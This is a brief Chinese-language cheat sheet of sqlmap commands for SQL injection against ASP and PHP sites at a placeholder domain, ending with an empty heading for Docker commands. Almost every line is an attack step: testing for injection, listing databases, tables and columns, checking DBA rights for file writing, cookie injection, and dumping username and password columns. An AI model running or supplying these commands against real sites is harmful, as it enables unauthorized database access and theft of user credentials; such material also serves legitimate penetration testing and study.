sql常用命令

ASP网站监测方法

sqlmap -u "http://xxxx.com/home/login.asp?id=10"    -u 检测是否存在注入
?
sqlmap -u "http://xxxx.com/home/login.asp?id=10" --tables   猜解表名
?
sqlmap -u "http://xxxx.com/home/login.asp?id=10" --columns -T “user”        --columns  猜列名
?
sqlmap -u "http://xxxx.com/home/login.asp?id=10" --dump -C “username,password" -T "user"
\-\-dump 下载数据   -C "username,password"  列名

PHP网站监测

sqlmap -u "http://xxxx.com/home/login.php?id=10"    -u 检测是否存在注入
?
sqlmap -u "http://xxxx.com/home/login.php?id=10" --is-dba       查看是否dba权限，可直接写文件至目录
?
sqlmap -u "http://xxxx.com/home/login.php?id=10" --dbs  列出所有数据库
?
sqlmap -u "http://xxxx.com/home/login.php?id=10" --current-db   查询当前所使用的数据库
?
sqlmap -u "http://xxxx.com/home/login.php?id=10" --tables -D “库名”       查询表名
?
sqlmap -u "http://xxxx.com/home/login.php?id=10" --columns -T "表名" -D "库名"
查询所有的列明
sqlmap -u "http://xxxx.com/home/login.php?id=10" --dump -C "列名，列名" -T "表名" -D "库名"
查询对应列的数据

sqlmap cookie注入

sqlmap -u “http://xxx.com/inde.asp" --cookie "id=1" --level 2       id=页面的id

docker常用命令